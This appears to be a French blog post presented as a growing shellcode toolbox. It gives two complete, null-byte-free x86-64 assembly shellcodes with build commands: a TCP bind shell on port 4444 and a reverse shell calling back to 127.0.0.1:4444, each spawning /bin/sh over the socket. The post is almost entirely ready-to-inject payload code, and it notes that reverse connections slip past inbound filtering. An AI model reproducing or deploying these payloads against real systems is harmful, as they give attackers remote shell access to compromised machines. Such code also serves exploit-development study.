Cet article sert de boîte à outils à shellcodes.
J’y mettrai au fil du temps toute une liste de shellcodes afin de servir des objectifs divers et variés.
- TCP Bind Shell – Exploit Safe
Le shellcode est envoyé à la victime et celle-ci écoute (bind) sur un port tcp (4444). L’attaquant initie la connexion vers la victime.
Le code ci-dessous est « exploit safe », il n’y a donc pas de zéros dans les opcodes.
; TCP Bind Shell - Exploit safe (no zeros in opcodes) ; Listen port 4444 ; ; nasm -f elf64 Bind-Shell-Safe.nasm -o Bind-Shell-Safe.o ; ld Bind-Shell-Safe.o -o Bind-Shell-Safe global _start _start: ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor rax, rax mov al, 41 xor rdi, rdi mov dil, 2 xor rsi, rsi mov sil, 1 xor rdx, rdx syscall ; copy socket descriptor to rdi for future use mov rdi, rax ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = INADDR_ANY ; bzero(&server.sin_zero, 8) xor rax, rax push rax mov dword [rsp-4], eax mov word [rsp-6], 0x5c11 mov word [rsp-8], 0x1FF sub word [rsp-8], 0x1FD sub rsp, 8 ; bind(sock, (struct sockaddr *)&server, sockaddr_len) ; syscall number 49 xor rax, rax mov al, 49 mov rsi, rsp xor rdx, rdx mov dl, 16 syscall ; listen(sock, MAX_CLIENTS) ; syscall number 50 xor rax, rax mov al, 50 xor rsi, rsi mov sil, 2 syscall ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len) ; syscall number 43 xor rax, rax mov al, 43 sub rsp, 16 mov rsi, rsp mov byte [rsp-1], 16 sub rsp, 1 mov rdx, rsp syscall ; store the client socket description mov r9, rax ; close parent xor rax, rax mov al, 3 syscall ; duplicate sockets ; dup2 (new, old) mov rdi, r9 xor rax, rax mov al, 33 xor rsi, rsi syscall xor rax, rax mov al, 33 xor rsi ,rsi mov sil, 1 syscall xor rax, rax mov al, 33 xor rsi, rsi mov sil, 2 syscall ; execve ; First NULL push xor rax, rax push rax ; push /bin//sh in reverse mov rbx, 0x68732f2f6e69622f push rbx ; store /bin//sh address in RDI mov rdi, rsp ; Second NULL push push rax ; set RDX mov rdx, rsp ; Push address of /bin//sh push rdi ; set RSI mov rsi, rsp ; Call the Execve syscall add rax, 59 syscall
- TCP Reverse Shell – Exploit Safe
Le shellcode est envoyé à la victime et celle-ci initie la connexion vers l’attaquant (ici sur 127.0.0.1) sur un port tcp (4444). L’avantage est que les flux sortant sont moins filtrés que les flux entrants.
Le code ci-dessous est « exploit safe », il n’y a donc pas de zéros dans les opcodes.
; TCP Reverse Shell - Exploit safe (no zeros in opcodes) ; Connect on 127.0.0.1 on port 4444 ; ; nasm -f elf64 Reverse-Shell-Safe.nasm -o Reverse-Shell-Safe.o ; ld Reverse-Shell-Safe.o -o Reverse-Shell-Safe global _start _start: ; sock = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor rax, rax add al, 41 xor rdi, rdi inc dil inc dil xor rsi, rsi inc sil xor rdx, rdx syscall ; copy socket descriptor to rdi for future use mov rdi, rax ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = inet_addr("127.0.0.1") ; bzero(&server.sin_zero, 8) xor rax, rax push rax ;mov dword [rsp-4], 0x0100007f mov dword [rsp -4], 0x9A999A18 sub dword [rsp -4], 0x99999999 mov word [rsp-6], 0x5c11 ;mov word [rsp-8], 0x2 mov word [rsp-8], 0x1FF sub word [rsp-8], 0x1FD sub rsp, 8 ; connect(sock, (struct sockaddr *)&server, sockaddr_len) xor rax, rax add al, 42 mov rsi, rsp xor rdx, rdx add dl, 16 syscall ; duplicate sockets ; dup2 (new, old) xor rax, rax add al, 33 xor rsi, rsi syscall xor rax, rax add al, 33 xor rsi, rsi inc sil syscall xor rax, rax add al, 33 xor rsi, rsi inc sil inc sil syscall ; execve ; First NULL push xor rax, rax push rax ; push /bin//sh in reverse mov rbx, 0x68732f2f6e69622f push rbx ; store /bin//sh address in RDI mov rdi, rsp ; Second NULL push push rax ; set RDX mov rdx, rsp ; Push address of /bin//sh push rdi ; set RSI mov rsi, rsp ; Call the Execve syscall add rax, 59 syscall